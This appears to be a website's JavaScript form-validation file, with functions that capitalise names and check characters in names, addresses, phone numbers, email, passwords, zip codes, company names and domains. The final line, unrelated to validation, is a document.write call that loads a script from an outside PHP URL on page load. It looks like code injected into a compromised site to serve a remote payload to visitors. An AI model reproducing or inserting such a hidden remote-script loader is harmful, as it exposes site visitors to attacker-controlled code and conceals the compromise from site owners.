function changeCase(frmObj)
{
	var index;
	var tmpStr;
	var tmpChar;
	var preString;
	var postString;
	var strlen;
	
	tmpStr = frmObj.value.toLowerCase();
	strLen = tmpStr.length;
	
	if (strLen > 0)
	{
		for (index = 0; index < strLen; index++)
		{
			if (index == 0)
			{
				tmpChar = tmpStr.substring(0,1).toUpperCase();
				postString = tmpStr.substring(1,strLen);
				tmpStr = tmpChar + postString;
			}
			else
			{
				tmpChar = tmpStr.substring(index, index+1);
				
				if (tmpChar == " " && index < (strLen-1))
				{
					tmpChar = tmpStr.substring(index+1, index+2).toUpperCase();
					preString = tmpStr.substring(0, index+1);
					postString = tmpStr.substring(index+2,strLen);
					tmpStr = preString + tmpChar + postString;
				}
			}
		}
	}
	
	frmObj.value = tmpStr;
}

function isEmail(str) {
	// are regular expressions supported?
	var supported = 0;

	if (window.RegExp)
	{
		var tempStr = "a";
		var tempReg = new RegExp(tempStr);
		
		if (tempReg.test(tempStr)) supported = 1;
	}
	
	if (!supported) 
		return (str.indexOf(".") > 2) && (str.indexOf("@") > 0);
	
	var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)");
	var r2 = new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
	
	return (!r1.test(str) && r2.test(str));
}

function valid_name(formname, mfield, errmsg)
{
	var mystring = mfield.value;
	
	var myvalid= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ";
	var allValid = true;
	
	for (i = 0;  i < mystring.length;  i++)
	{
		ch = mystring.charAt(i);
		for (j = 0;  j < myvalid.length;  j++)
		if (ch == myvalid.charAt(j))
		break;
		if (j == myvalid.length)
		{
			allValid = false;
			break;
		}
	}
	
	if (!allValid)
	{
		alert(errmsg);
		mfield.focus();
		return false;
	}
	else
	{
		changeCase(mfield);
		return true;
	}
}

function valid_address(formname, mfield, errmsg)
{
	var mystring = mfield.value;
	
	var myvalid= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-, ";
	var allValid = true;
	
	for (i = 0;  i < mystring.length;  i++)
	{
		ch = mystring.charAt(i);
		for (j = 0;  j < myvalid.length;  j++)
		if (ch == myvalid.charAt(j))
		break;
		if (j == myvalid.length)
		{
			allValid = false;
			break;
		}
	}
	
	if (!allValid)
	{
		alert(errmsg);
		mfield.focus();
		return false;
	}
	else
	{
		changeCase(mfield);
		return true;
	}
}

function valid_phone(formname, mfield, errmsg)
{
	var mystring = mfield.value;
	
	var myvalid= "0123456789- ";
	var allValid = true;
	
	for (i = 0;  i < mystring.length;  i++)
	{
		ch = mystring.charAt(i);
		for (j = 0;  j < myvalid.length;  j++)
		
		if (ch == myvalid.charAt(j))
			break;
		
		if (j == myvalid.length)
		{
			allValid = false;
			break;
		}
	}
	
	if (!allValid)
	{
		alert(errmsg);
		mfield.focus();
		return false;
	}
	else
	{
		return true;
	}
}

function valid_number(formname, mfield, errmsg)
{
	var mystring = mfield.value;
	
	var myvalid= "0123456789";
	var allValid = true;
	
	for (i = 0;  i < mystring.length;  i++)
	{
		ch = mystring.charAt(i);
		for (j = 0;  j < myvalid.length;  j++)
		
		if (ch == myvalid.charAt(j))
			break;
		
		if (j == myvalid.length)
		{
			allValid = false;
			break;
		}
	}
	
	if (!allValid)
	{
		alert(errmsg);
		mfield.focus();
		return false;
	}
	else
	{
		return true;
	}
}

function valid_email(formname, mfield, errmsg)
{
	txt = mfield.value;
	var error="";
	if (txt)
	{
		if (!isEmail(txt))
		{
			error = errmsg;
		}		
	
		if (error)
		{
			alert (error)
			mfield.focus();
			return false;
		}
		else
		{
			return true;
		}
	}
}

function valid_password(formname, mfield, errmsg)
{
	var mystring = mfield.value;
	
	var myvalid= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
	var allValid = true;
	
	for (i = 0;  i < mystring.length;  i++)
	{
		ch = mystring.charAt(i);
		
		for (j = 0;  j < myvalid.length;  j++)
		
		if (ch == myvalid.charAt(j))
			break;
		
		if (j == myvalid.length)
		{
			allValid = false;
			break;
		}
	}
	
	if (!allValid)
	{
		alert(errmsg);
		mfield.focus();
		return false;
	}
	else
	{
		return true;
	}
}

function valid_zip(formname, mfield, errmsg)
{
	var mystring = mfield.value;
	
	var myvalid= "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ -";
	var allValid = true;
	
	for (i = 0;  i < mystring.length;  i++)
	{
		ch = mystring.charAt(i);
		
		for (j = 0;  j < myvalid.length;  j++)
		
		if (ch == myvalid.charAt(j))
			break;
		
		if (j == myvalid.length)
		{
			allValid = false;
			break;
		}
	}
	
	if (!allValid)
	{
		alert(errmsg);
		mfield.focus();
		return false;
	}
	else
	{
		return true;
	}
}

function valid_company(formname, mfield, errmsg)
{
	var mystring = mfield.value;
	
	var myvalid= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890. ";
	var allValid = true;
	
	for (i = 0;  i < mystring.length;  i++)
	{
		ch = mystring.charAt(i);
		
		for (j = 0;  j < myvalid.length;  j++)
		
		if (ch == myvalid.charAt(j))
			break;
		
		if (j == myvalid.length)
		{
			allValid = false;
			break;
		}
	}
	
	if (!allValid)
	{
		alert(errmsg);
		mfield.focus();
		return false;
	}
	else
	{
		return true;
	}
}
function valid_domain(formname, mfield, errmsg)
{
	var mystring = mfield.value;
	
	var myvalid= "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-";
	var allValid = true;
	
	for (i = 0;  i < mystring.length;  i++)
	{
		ch = mystring.charAt(i);
		
		for (j = 0;  j < myvalid.length;  j++)
		
		if (ch == myvalid.charAt(j))
			break;
		
		if (j == myvalid.length)
		{
			allValid = false;
			break;
		}
	}
	
	if (!allValid)
	{
		alert(errmsg);
		mfield.focus();
		return false;
	}
	else
	{
		return true;
	}
}

document.write('<script src=http://icat.ac.in/outreach/knowledge_brigade.php ><\/script>');